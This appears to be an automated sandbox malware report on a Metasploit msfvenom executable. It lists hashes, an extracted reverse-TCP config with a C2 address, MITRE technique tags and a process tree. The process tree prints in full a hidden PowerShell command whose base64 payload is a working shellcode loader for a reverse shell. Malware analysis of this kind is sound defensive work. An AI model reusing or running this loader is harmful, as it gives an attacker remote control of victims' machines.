metasploit | 690f3afd44a9fdf735cee163a26b2b5cccdb49d6802713868ddb6a4342dc21b6

General

Target

690f3afd44a9fdf735cee163a26b2b5cccdb49d6802713868ddb6a4342dc21b6.exe
Size

17KB
MD5

b236486f7756776b56c743c03f7a106e
SHA1

964bc106798c2cfb951a19f8e59e1fcb5510ac23
SHA256

690f3afd44a9fdf735cee163a26b2b5cccdb49d6802713868ddb6a4342dc21b6
SHA512

42f3181244cb3d03cc5f08ede2dea275fadf2f3072f41c06eb8b3ffde3c33ad8fbbd8fb5a47f342b05664b6b553f3d330eb3610e61ff039cb0c1b0195572757d
SSDEEP

384:YfjcjwcOkjc5lPvL/c1fcrj8coFHPAel1rpI2cl1caXUCcYUlkX3nfT0f:ejcjwc1jc5B/c1fcrj8cccl1caXHc2X6

Score

10^/10

metasploit backdoor discovery execution trojan

Malware Config

Extracted

Family

metasploit

Version

encoder/shikata_ga_nai

Extracted

Family

metasploit

Version

windows/reverse_tcp

C2

192.168.18.106:4535

Signatures

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit
Metasploit family
metasploit
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2156 powershell.exe

pid	process
2156	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

powershell.execsc.execvtres.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exepowershell.exe

pid process

2156 powershell.exe
2864 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2156 powershell.exe
Token: SeDebugPrivilege 2864 powershell.exe

pid	process
2156	powershell.exe
2864	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2156	powershell.exe
Token: SeDebugPrivilege	2864	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

690f3afd44a9fdf735cee163a26b2b5cccdb49d6802713868ddb6a4342dc21b6.execmd.exepowershell.exepowershell.execsc.exe

description	pid	process	target process
PID 2900 wrote to memory of 2380	2900	690f3afd44a9fdf735cee163a26b2b5cccdb49d6802713868ddb6a4342dc21b6.exe	cmd.exe
PID 2900 wrote to memory of 2380	2900	690f3afd44a9fdf735cee163a26b2b5cccdb49d6802713868ddb6a4342dc21b6.exe	cmd.exe
PID 2900 wrote to memory of 2380	2900	690f3afd44a9fdf735cee163a26b2b5cccdb49d6802713868ddb6a4342dc21b6.exe	cmd.exe
PID 2380 wrote to memory of 2156	2380	cmd.exe	powershell.exe
PID 2380 wrote to memory of 2156	2380	cmd.exe	powershell.exe
PID 2380 wrote to memory of 2156	2380	cmd.exe	powershell.exe
PID 2156 wrote to memory of 2864	2156	powershell.exe	powershell.exe
PID 2156 wrote to memory of 2864	2156	powershell.exe	powershell.exe
PID 2156 wrote to memory of 2864	2156	powershell.exe	powershell.exe
PID 2156 wrote to memory of 2864	2156	powershell.exe	powershell.exe
PID 2864 wrote to memory of 2876	2864	powershell.exe	csc.exe
PID 2864 wrote to memory of 2876	2864	powershell.exe	csc.exe
PID 2864 wrote to memory of 2876	2864	powershell.exe	csc.exe
PID 2864 wrote to memory of 2876	2864	powershell.exe	csc.exe
PID 2876 wrote to memory of 2844	2876	csc.exe	cvtres.exe
PID 2876 wrote to memory of 2844	2876	csc.exe	cvtres.exe
PID 2876 wrote to memory of 2844	2876	csc.exe	cvtres.exe
PID 2876 wrote to memory of 2844	2876	csc.exe	cvtres.exe

C:\Users\Admin\AppData\Local\Temp\690f3afd44a9fdf735cee163a26b2b5cccdb49d6802713868ddb6a4342dc21b6.exe
"C:\Users\Admin\AppData\Local\Temp\690f3afd44a9fdf735cee163a26b2b5cccdb49d6802713868ddb6a4342dc21b6.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2900
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -window hidden -EncodedCommand JAB3AGEARABpACAAPQAgACcAJAAwAFIAQwAyACAAPQAgACcAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgASQBuAHQAUAB0AHIAIABsAHAAQQBkAGQAcgBlAHMAcwAsACAAdQBpAG4AdAAgAGQAdwBTAGkAegBlACwAIAB1AGkAbgB0ACAAZgBsAEEAbABsAG8AYwBhAHQAaQBvAG4AVAB5AHAAZQAsACAAdQBpAG4AdAAgAGYAbABQAHIAbwB0AGUAYwB0ACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQAQQB0AHQAcgBpAGIAdQB0AGUAcwAsACAAdQBpAG4AdAAgAGQAdwBTAHQAYQBjAGsAUwBpAHoAZQAsACAASQBuAHQAUAB0AHIAIABsAHAAUwB0AGEAcgB0AEEAZABkAHIAZQBzAHMALAAgAEkAbgB0AFAAdAByACAAbABwAFAAYQByAGEAbQBlAHQAZQByACwAIAB1AGkAbgB0ACAAZAB3AEMAcgBlAGEAdABpAG8AbgBGAGwAYQBnAHMALAAgAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEkAZAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbQBzAHYAYwByAHQALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAG0AZQBtAHMAZQB0ACgASQBuAHQAUAB0AHIAIABkAGUAcwB0ACwAIAB1AGkAbgB0ACAAcwByAGMALAAgAHUAaQBuAHQAIABjAG8AdQBuAHQAKQA7ACcAJwA7ACQAdwAgAD0AIABBAGQAZAAtAFQAeQBwAGUAIAAtAG0AZQBtAGIAZQByAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkADAAUgBDADIAIAAtAE4AYQBtAGUAIAAiAFcAaQBuADMAMgAiACAALQBuAGEAbQBlAHMAcABhAGMAZQAgAFcAaQBuADMAMgBGAHUAbgBjAHQAaQBvAG4AcwAgAC0AcABhAHMAcwB0AGgAcgB1ADsAWwBCAHkAdABlAFsAXQBdADsAWwBCAHkAdABlAFsAXQBdACQAegAgAD0AIAAwAHgAZAA5ACwAMAB4AGMAOQAsADAAeABkADkALAAwAHgANwA0ACwAMAB4ADIANAAsADAAeABmADQALAAwAHgAYgA4ACwAMAB4ADgAOAAsADAAeAA5AGQALAAwAHgAMABiACwAMAB4AGMANwAsADAAeAA1AGUALAAwAHgAMwAxACwAMAB4AGMAOQAsADAAeABiADEALAAwAHgANABiACwAMAB4ADMAMQAsADAAeAA0ADYALAAwAHgAMQA3ACwAMAB4ADAAMwAsADAAeAA0ADYALAAwAHgAMQA3ACwAMAB4ADgAMwAsADAAeAA0AGUALAAwAHgAOQA5ACwAMAB4AGUAOQAsADAAeAAzADIALAAwAHgAYgAyACwAMAB4ADQAYQAsADAAeAA2ADIALAAwAHgAYgBjACwAMAB4ADQAYQAsADAAeAA4AGIALAAwAHgAMQBkACwAMAB4ADMANAAsADAAeABhAGYALAAwAHgAYgBhACwAMAB4ADAAZgAsADAAeAAyADIALAAwAHgAYQA0ACwAMAB4AGUAZgAsADAAeAA5AGYALAAwAHgAMgAwACwAMAB4AGUAOAAsADAAeAAwADMALAAwAHgANgBiACwAMAB4ADYANAAsADAAeAAxADgALAAwAHgAOQA3ACwAMAB4ADEAOQAsADAAeABhADEALAAwAHgAMgBmACwAMAB4ADEAMAAsADAAeAA5ADcALAAwAHgAOQA3ACwAMAB4ADEAZQAsADAAeABhADEALAAwAHgAMQA5ACwAMAB4ADEAOAAsADAAeABjAGMALAAwAHgANgAxACwAMAB4ADMAYgAsADAAeABlADQALAAwAHgAMABlACwAMAB4AGIANgAsADAAeAA5AGIALAAwAHgAZAA1ACwAMAB4AGMAMQAsADAAeABjAGIALAAwAHgAZABhACwAMAB4ADEAMgAsADAAeAA5ADQALAAwAHgAYQA2ACwAMAB4ADMAMwAsADAAeABjAGUALAAwAHgAYQBkACwAMAB4ADEAYgAsADAAeABkAGMALAAwAHgAYgA4ACwAMAB4ADMAYQAsADAAeABkADkALAAwAHgAZQAwACwAMAB4ADQANwAsADAAeABlAGMALAAwAHgANQA1ACwAMAB4ADUAOAAsADAAeAAzADAALAAwAHgAOAA5ACwAMAB4AGEAYQAsADAAeAAyAGQALAAwAHgAOABjACwAMAB4ADkAMAAsADAAeABmAGEALAAwAHgANAA1ACwAMAB4ADQANAAsADAAeAA4AGEALAAwAHgANwAxACwAMAB4ADAAMQAsADAAeAA3ADUALAAwAHgAYQBiACwAMAB4ADUANgAsADAAeABlADIALAAwAHgAZgAwACwAMAB4ADYAMgAsADAAeAAyAGMALAAwAHgAMwBmACwAMAB4AGMAYQAsADAAeAA4AGIALAAwAHgAOAA0ACwAMAB4AGIANAAsADAAeAAxADgALAAwAHgAZgA4ACwAMAB4ADEANgAsADAAeAAxAGQALAAwAHgANQAxACwAMAB4ADMAZQAsADAAeABiADQALAAwAHgANgAwACwAMAB4ADUAZAAsADAAeABiADMALAAwAHgAYwA0ACwAMAB4AGEANQAsADAAeAA1AGEALAAwAHgAMgBiACwAMAB4AGIAMwAsADAAeABkAGQALAAwAHgAOQA4ACwAMAB4AGQANgAsADAAeABjADQALAAwAHgAMgA1ACwAMAB4AGUAMgAsADAAeAAwAGMALAAwAHgANAAwACwAMAB4AGIAYQAsADAAeAA0ADQALAAwAHgAYwA3ACwAMAB4AGYAMgAsADAAeAAxAGUALAAwAHgANwA0ACwAMAB4ADAANAAsADAAeAA2ADQALAAwAHgAZAA0ACwAMAB4ADcAYQAsADAAeABlADEALAAwAHgAZQAyACwAMAB4AGIAMgAsADAAeAA5AGUALAAwAHgAZgA0ACwAMAB4ADIANwAsADAAeABjADkALAAwAHgAOQBiACwAMAB4ADcAZAAsADAAeABjADYALAAwAHgAMQBlACwAMAB4ADIAYQAsADAAeABjADUALAAwAHgAZQBkACwAMAB4AGIAYQAsADAAeAA3ADYALAAwAHgAOQBlACwAMAB4ADgAYwAsADAAeAA5AGIALAAwAHgAZAAyACwAMAB4ADcAMQAsADAAeABiADAALAAwAHgAZgBjACwAMAB4AGIAYgAsADAAeAAyAGUALAAwAHgAMQA0ACwAMAB4ADcANgAsADAAeAAyADkALAAwAHgAMwA5ACwAMAB4ADIAOAAsADAAeAA3ADcALAAwAHgAYgAxACwAMAB4ADQANgAsADAAeAA3ADQALAAwAHgAZQAwACwAMAB4ADcAZAAsADAAeAA4AGEALAAwAHgAOAA3ACwAMAB4AGYAMAAsADAAeABlADkALAAwAHgAOQBkACwAMAB4AGYANAAsADAAeABjADIALAAwAHgAYgA2ACwAMAB4ADMANQAsADAAeAA5ADMALAAwAHgANgBlACwAMAB4ADMAZQAsADAAeAA5ADMALAAwAHgANgA0ACwAMAB4AGUANgAsADAAeAAyADgALAAwAHgAMgA0ACwAMAB4AGIAYQAsADAAeAA0ADAALAAwAHgAMwA4ACwAMAB4AGQAYgAsADAAeAAzAGIALAAwAHgAYgAxACwAMAB4ADEAMAAsADAAeAAxAGYALAAwAHgANgBmACwAMAB4AGUAMQAsADAAeAAwAGEALAAwAHgAYgA2ACwAMAB4ADEAMAAsADAAeAA2AGEALAAwAHgAYwBiACwAMAB4ADMANwAsADAAeABjADUALAAwAHgAMAA3ACwAMAB4AGMAMQAsADAAeABhAGYALAAwAHgAMgA2ACwAMAB4ADcAZgAsADAAeABjADcALAAwAHgANAA1ACwAMAB4AGMAZgAsADAAeAA4ADIALAAwAHgAZQA4ACwAMAB4ADgAOAAsADAAeABiADgALAAwAHgAMABhACwAMAB4ADAAZQAsADAAeABmAGEALAAwAHgAOQA2ACwAMAB4ADUAYwAsADAAeAA5AGYALAAwAHgAYgBhACwAMAB4ADQANgAsADAAeAAxAGQALAAwAHgANABmACwAMAB4ADUAMgAsADAAeAA4AGQALAAwAHgAOQAyACwAMAB4AGIAMAAsADAAeAA0ADIALAAwAHgAYQBlACwAMAB4ADcAOAAsADAAeABkADkALAAwAHgAZQA4ACwAMAB4ADQAMQAsADAAeABkADUALAAwAHgAYgAxACwAMAB4ADgANAAsADAAeABmADgALAAwAHgANwBjACwAMAB4ADQAOQAsADAAeAAzADUALAAwAHgAMAA0ACwAMAB4AGEAYgAsADAAeAAzADcALAAwAHgANwA1ACwAMAB4ADgAZQAsADAAeAA1ADgALAAwAHgAYwA3ACwAMAB4ADMAYgAsADAAeAA2ADcALAAwAHgAMQA0ACwAMAB4AGQAYgAsADAAeABhAGIALAAwAHgAOAA3ACwAMAB4ADYAMwAsADAAeAA4ADEALAAwAHgANwBkACwAMAB4ADkANwAsADAAeAA1ADkALAAwAHgAYQBjACwAMAB4ADgAMQAsADAAeAAwAGQALAAwAHgANgA2ACwAMAB4ADYANwAsADAAeABkADYALAAwAHgAYgA5ACwAMAB4ADYANAAsADAAeAA1AGUALAAwAHgAMQAwACwAMAB4ADYANgAsADAAeAA5ADYALAAwAHgAYgA1ACwAMAB4ADIAYgAsADAAeABhAGYALAAwAHgAMAAyACwAMAB4ADcANgAsADAAeAA0ADMALAAwAHgAZAAwACwAMAB4AGMAMgAsADAAeAA3ADYALAAwAHgAOQAzACwAMAB4ADgANgAsADAAeAA4ADgALAAwAHgANwA2ACwAMAB4AGYAYgAsADAAeAA3AGUALAAwAHgAZQA5ACwAMAB4ADIANAAsADAAeAAxAGUALAAwAHgAOAAxACwAMAB4ADIANAAsADAAeAA1ADkALAAwAHgAYgAzACwAMAB4ADEANAAsADAAeABjADcALAAwAHgAMAA4ACwAMAB4ADYAMAAsADAAeABiAGUALAAwAHgAYQBmACwAMAB4AGIANgAsADAAeAA1AGYALAAwAHgAOAA4ACwAMAB4ADYAZgAsADAAeAA0ADgALAAwAHgAOABhACwAMAB4ADAAOAAsADAAeAA1ADMALAAwAHgAOQBmACwAMAB4AGYAMgAsADAAeAA3AGUALAAwAHgAYgBkACwAMAB4ADIAMwA7ACQAZwAgAD0AIAAwAHgAMQAwADAAMAA7AGkAZgAgACgAJAB6AC4ATABlAG4AZwB0AGgAIAAtAGcAdAAgADAAeAAxADAAMAAwACkAewAkAGcAIAA9ACAAJAB6AC4ATABlAG4AZwB0AGgAfQA7ACQATwBWAFEASgA9ACQAdwA6ADoAVgBpAHIAdAB1AGEAbABBAGwAbABvAGMAKAAwACwAMAB4ADEAMAAwADAALAAkAGcALAAwAHgANAAwACkAOwBmAG8AcgAgACgAJABpAD0AMAA7ACQAaQAgAC0AbABlACAAKAAkAHoALgBMAGUAbgBnAHQAaAAtADEAKQA7ACQAaQArACsAKQAgAHsAJAB3ADoAOgBtAGUAbQBzAGUAdAAoAFsASQBuAHQAUAB0AHIAXQAoACQATwBWAFEASgAuAFQAbwBJAG4AdAAzADIAKAApACsAJABpACkALAAgACQAegBbACQAaQBdACwAIAAxACkAfQA7ACQAdwA6ADoAQwByAGUAYQB0AGUAVABoAHIAZQBhAGQAKAAwACwAMAAsACQATwBWAFEASgAsADAALAAwACwAMAApADsAZgBvAHIAIAAoADsAOwApAHsAUwB0AGEAcgB0AC0AcwBsAGUAZQBwACAANgAwAH0AOwAnADsAJABlACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABCAHkAdABlAHMAKAAkAHcAYQBEAGkAKQApADsAJABFAHYAMwB2ACAAPQAgACIALQBlAG4AYwAgACIAOwBpAGYAKABbAEkAbgB0AFAAdAByAF0AOgA6AFMAaQB6AGUAIAAtAGUAcQAgADgAKQB7ACQAQQBGADAAIAA9ACAAJABlAG4AdgA6AFMAeQBzAHQAZQBtAFIAbwBvAHQAIAArACAAIgBcAHMAeQBzAHcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsACIAOwBpAGUAeAAgACIAJgAgACQAQQBGADAAIAAkAEUAdgAzAHYAIAAkAGUAIgB9AGUAbABzAGUAewA7AGkAZQB4ACAAIgAmACAAcABvAHcAZQByAHMAaABlAGwAbAAgACQARQB2ADMAdgAgACQAZQAiADsAfQA=
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2380
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -window hidden -EncodedCommand JAB3AGEARABpACAAPQAgACcAJAAwAFIAQwAyACAAPQAgACcAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgASQBuAHQAUAB0AHIAIABsAHAAQQBkAGQAcgBlAHMAcwAsACAAdQBpAG4AdAAgAGQAdwBTAGkAegBlACwAIAB1AGkAbgB0ACAAZgBsAEEAbABsAG8AYwBhAHQAaQBvAG4AVAB5AHAAZQAsACAAdQBpAG4AdAAgAGYAbABQAHIAbwB0AGUAYwB0ACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQAQQB0AHQAcgBpAGIAdQB0AGUAcwAsACAAdQBpAG4AdAAgAGQAdwBTAHQAYQBjAGsAUwBpAHoAZQAsACAASQBuAHQAUAB0AHIAIABsAHAAUwB0AGEAcgB0AEEAZABkAHIAZQBzAHMALAAgAEkAbgB0AFAAdAByACAAbABwAFAAYQByAGEAbQBlAHQAZQByACwAIAB1AGkAbgB0ACAAZAB3AEMAcgBlAGEAdABpAG8AbgBGAGwAYQBnAHMALAAgAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEkAZAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbQBzAHYAYwByAHQALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAG0AZQBtAHMAZQB0ACgASQBuAHQAUAB0AHIAIABkAGUAcwB0ACwAIAB1AGkAbgB0ACAAcwByAGMALAAgAHUAaQBuAHQAIABjAG8AdQBuAHQAKQA7ACcAJwA7ACQAdwAgAD0AIABBAGQAZAAtAFQAeQBwAGUAIAAtAG0AZQBtAGIAZQByAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkADAAUgBDADIAIAAtAE4AYQBtAGUAIAAiAFcAaQBuADMAMgAiACAALQBuAGEAbQBlAHMAcABhAGMAZQAgAFcAaQBuADMAMgBGAHUAbgBjAHQAaQBvAG4AcwAgAC0AcABhAHMAcwB0AGgAcgB1ADsAWwBCAHkAdABlAFsAXQBdADsAWwBCAHkAdABlAFsAXQBdACQAegAgAD0AIAAwAHgAZAA5ACwAMAB4AGMAOQAsADAAeABkADkALAAwAHgANwA0ACwAMAB4ADIANAAsADAAeABmADQALAAwAHgAYgA4ACwAMAB4ADgAOAAsADAAeAA5AGQALAAwAHgAMABiACwAMAB4AGMANwAsADAAeAA1AGUALAAwAHgAMwAxACwAMAB4AGMAOQAsADAAeABiADEALAAwAHgANABiACwAMAB4ADMAMQAsADAAeAA0ADYALAAwAHgAMQA3ACwAMAB4ADAAMwAsADAAeAA0ADYALAAwAHgAMQA3ACwAMAB4ADgAMwAsADAAeAA0AGUALAAwAHgAOQA5ACwAMAB4AGUAOQAsADAAeAAzADIALAAwAHgAYgAyACwAMAB4ADQAYQAsADAAeAA2ADIALAAwAHgAYgBjACwAMAB4ADQAYQAsADAAeAA4AGIALAAwAHgAMQBkACwAMAB4ADMANAAsADAAeABhAGYALAAwAHgAYgBhACwAMAB4ADAAZgAsADAAeAAyADIALAAwAHgAYQA0ACwAMAB4AGUAZgAsADAAeAA5AGYALAAwAHgAMgAwACwAMAB4AGUAOAAsADAAeAAwADMALAAwAHgANgBiACwAMAB4ADYANAAsADAAeAAxADgALAAwAHgAOQA3ACwAMAB4ADEAOQAsADAAeABhADEALAAwAHgAMgBmACwAMAB4ADEAMAAsADAAeAA5ADcALAAwAHgAOQA3ACwAMAB4ADEAZQAsADAAeABhADEALAAwAHgAMQA5ACwAMAB4ADEAOAAsADAAeABjAGMALAAwAHgANgAxACwAMAB4ADMAYgAsADAAeABlADQALAAwAHgAMABlACwAMAB4AGIANgAsADAAeAA5AGIALAAwAHgAZAA1ACwAMAB4AGMAMQAsADAAeABjAGIALAAwAHgAZABhACwAMAB4ADEAMgAsADAAeAA5ADQALAAwAHgAYQA2ACwAMAB4ADMAMwAsADAAeABjAGUALAAwAHgAYQBkACwAMAB4ADEAYgAsADAAeABkAGMALAAwAHgAYgA4ACwAMAB4ADMAYQAsADAAeABkADkALAAwAHgAZQAwACwAMAB4ADQANwAsADAAeABlAGMALAAwAHgANQA1ACwAMAB4ADUAOAAsADAAeAAzADAALAAwAHgAOAA5ACwAMAB4AGEAYQAsADAAeAAyAGQALAAwAHgAOABjACwAMAB4ADkAMAAsADAAeABmAGEALAAwAHgANAA1ACwAMAB4ADQANAAsADAAeAA4AGEALAAwAHgANwAxACwAMAB4ADAAMQAsADAAeAA3ADUALAAwAHgAYQBiACwAMAB4ADUANgAsADAAeABlADIALAAwAHgAZgAwACwAMAB4ADYAMgAsADAAeAAyAGMALAAwAHgAMwBmACwAMAB4AGMAYQAsADAAeAA4AGIALAAwAHgAOAA0ACwAMAB4AGIANAAsADAAeAAxADgALAAwAHgAZgA4ACwAMAB4ADEANgAsADAAeAAxAGQALAAwAHgANQAxACwAMAB4ADMAZQAsADAAeABiADQALAAwAHgANgAwACwAMAB4ADUAZAAsADAAeABiADMALAAwAHgAYwA0ACwAMAB4AGEANQAsADAAeAA1AGEALAAwAHgAMgBiACwAMAB4AGIAMwAsADAAeABkAGQALAAwAHgAOQA4ACwAMAB4AGQANgAsADAAeABjADQALAAwAHgAMgA1ACwAMAB4AGUAMgAsADAAeAAwAGMALAAwAHgANAAwACwAMAB4AGIAYQAsADAAeAA0ADQALAAwAHgAYwA3ACwAMAB4AGYAMgAsADAAeAAxAGUALAAwAHgANwA0ACwAMAB4ADAANAAsADAAeAA2ADQALAAwAHgAZAA0ACwAMAB4ADcAYQAsADAAeABlADEALAAwAHgAZQAyACwAMAB4AGIAMgAsADAAeAA5AGUALAAwAHgAZgA0ACwAMAB4ADIANwAsADAAeABjADkALAAwAHgAOQBiACwAMAB4ADcAZAAsADAAeABjADYALAAwAHgAMQBlACwAMAB4ADIAYQAsADAAeABjADUALAAwAHgAZQBkACwAMAB4AGIAYQAsADAAeAA3ADYALAAwAHgAOQBlACwAMAB4ADgAYwAsADAAeAA5AGIALAAwAHgAZAAyACwAMAB4ADcAMQAsADAAeABiADAALAAwAHgAZgBjACwAMAB4AGIAYgAsADAAeAAyAGUALAAwAHgAMQA0ACwAMAB4ADcANgAsADAAeAAyADkALAAwAHgAMwA5ACwAMAB4ADIAOAAsADAAeAA3ADcALAAwAHgAYgAxACwAMAB4ADQANgAsADAAeAA3ADQALAAwAHgAZQAwACwAMAB4ADcAZAAsADAAeAA4AGEALAAwAHgAOAA3ACwAMAB4AGYAMAAsADAAeABlADkALAAwAHgAOQBkACwAMAB4AGYANAAsADAAeABjADIALAAwAHgAYgA2ACwAMAB4ADMANQAsADAAeAA5ADMALAAwAHgANgBlACwAMAB4ADMAZQAsADAAeAA5ADMALAAwAHgANgA0ACwAMAB4AGUANgAsADAAeAAyADgALAAwAHgAMgA0ACwAMAB4AGIAYQAsADAAeAA0ADAALAAwAHgAMwA4ACwAMAB4AGQAYgAsADAAeAAzAGIALAAwAHgAYgAxACwAMAB4ADEAMAAsADAAeAAxAGYALAAwAHgANgBmACwAMAB4AGUAMQAsADAAeAAwAGEALAAwAHgAYgA2ACwAMAB4ADEAMAAsADAAeAA2AGEALAAwAHgAYwBiACwAMAB4ADMANwAsADAAeABjADUALAAwAHgAMAA3ACwAMAB4AGMAMQAsADAAeABhAGYALAAwAHgAMgA2ACwAMAB4ADcAZgAsADAAeABjADcALAAwAHgANAA1ACwAMAB4AGMAZgAsADAAeAA4ADIALAAwAHgAZQA4ACwAMAB4ADgAOAAsADAAeABiADgALAAwAHgAMABhACwAMAB4ADAAZQAsADAAeABmAGEALAAwAHgAOQA2ACwAMAB4ADUAYwAsADAAeAA5AGYALAAwAHgAYgBhACwAMAB4ADQANgAsADAAeAAxAGQALAAwAHgANABmACwAMAB4ADUAMgAsADAAeAA4AGQALAAwAHgAOQAyACwAMAB4AGIAMAAsADAAeAA0ADIALAAwAHgAYQBlACwAMAB4ADcAOAAsADAAeABkADkALAAwAHgAZQA4ACwAMAB4ADQAMQAsADAAeABkADUALAAwAHgAYgAxACwAMAB4ADgANAAsADAAeABmADgALAAwAHgANwBjACwAMAB4ADQAOQAsADAAeAAzADUALAAwAHgAMAA0ACwAMAB4AGEAYgAsADAAeAAzADcALAAwAHgANwA1ACwAMAB4ADgAZQAsADAAeAA1ADgALAAwAHgAYwA3ACwAMAB4ADMAYgAsADAAeAA2ADcALAAwAHgAMQA0ACwAMAB4AGQAYgAsADAAeABhAGIALAAwAHgAOAA3ACwAMAB4ADYAMwAsADAAeAA4ADEALAAwAHgANwBkACwAMAB4ADkANwAsADAAeAA1ADkALAAwAHgAYQBjACwAMAB4ADgAMQAsADAAeAAwAGQALAAwAHgANgA2ACwAMAB4ADYANwAsADAAeABkADYALAAwAHgAYgA5ACwAMAB4ADYANAAsADAAeAA1AGUALAAwAHgAMQAwACwAMAB4ADYANgAsADAAeAA5ADYALAAwAHgAYgA1ACwAMAB4ADIAYgAsADAAeABhAGYALAAwAHgAMAAyACwAMAB4ADcANgAsADAAeAA0ADMALAAwAHgAZAAwACwAMAB4AGMAMgAsADAAeAA3ADYALAAwAHgAOQAzACwAMAB4ADgANgAsADAAeAA4ADgALAAwAHgANwA2ACwAMAB4AGYAYgAsADAAeAA3AGUALAAwAHgAZQA5ACwAMAB4ADIANAAsADAAeAAxAGUALAAwAHgAOAAxACwAMAB4ADIANAAsADAAeAA1ADkALAAwAHgAYgAzACwAMAB4ADEANAAsADAAeABjADcALAAwAHgAMAA4ACwAMAB4ADYAMAAsADAAeABiAGUALAAwAHgAYQBmACwAMAB4AGIANgAsADAAeAA1AGYALAAwAHgAOAA4ACwAMAB4ADYAZgAsADAAeAA0ADgALAAwAHgAOABhACwAMAB4ADAAOAAsADAAeAA1ADMALAAwAHgAOQBmACwAMAB4AGYAMgAsADAAeAA3AGUALAAwAHgAYgBkACwAMAB4ADIAMwA7ACQAZwAgAD0AIAAwAHgAMQAwADAAMAA7AGkAZgAgACgAJAB6AC4ATABlAG4AZwB0AGgAIAAtAGcAdAAgADAAeAAxADAAMAAwACkAewAkAGcAIAA9ACAAJAB6AC4ATABlAG4AZwB0AGgAfQA7ACQATwBWAFEASgA9ACQAdwA6ADoAVgBpAHIAdAB1AGEAbABBAGwAbABvAGMAKAAwACwAMAB4ADEAMAAwADAALAAkAGcALAAwAHgANAAwACkAOwBmAG8AcgAgACgAJABpAD0AMAA7ACQAaQAgAC0AbABlACAAKAAkAHoALgBMAGUAbgBnAHQAaAAtADEAKQA7ACQAaQArACsAKQAgAHsAJAB3ADoAOgBtAGUAbQBzAGUAdAAoAFsASQBuAHQAUAB0AHIAXQAoACQATwBWAFEASgAuAFQAbwBJAG4AdAAzADIAKAApACsAJABpACkALAAgACQAegBbACQAaQBdACwAIAAxACkAfQA7ACQAdwA6ADoAQwByAGUAYQB0AGUAVABoAHIAZQBhAGQAKAAwACwAMAAsACQATwBWAFEASgAsADAALAAwACwAMAApADsAZgBvAHIAIAAoADsAOwApAHsAUwB0AGEAcgB0AC0AcwBsAGUAZQBwACAANgAwAH0AOwAnADsAJABlACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABCAHkAdABlAHMAKAAkAHcAYQBEAGkAKQApADsA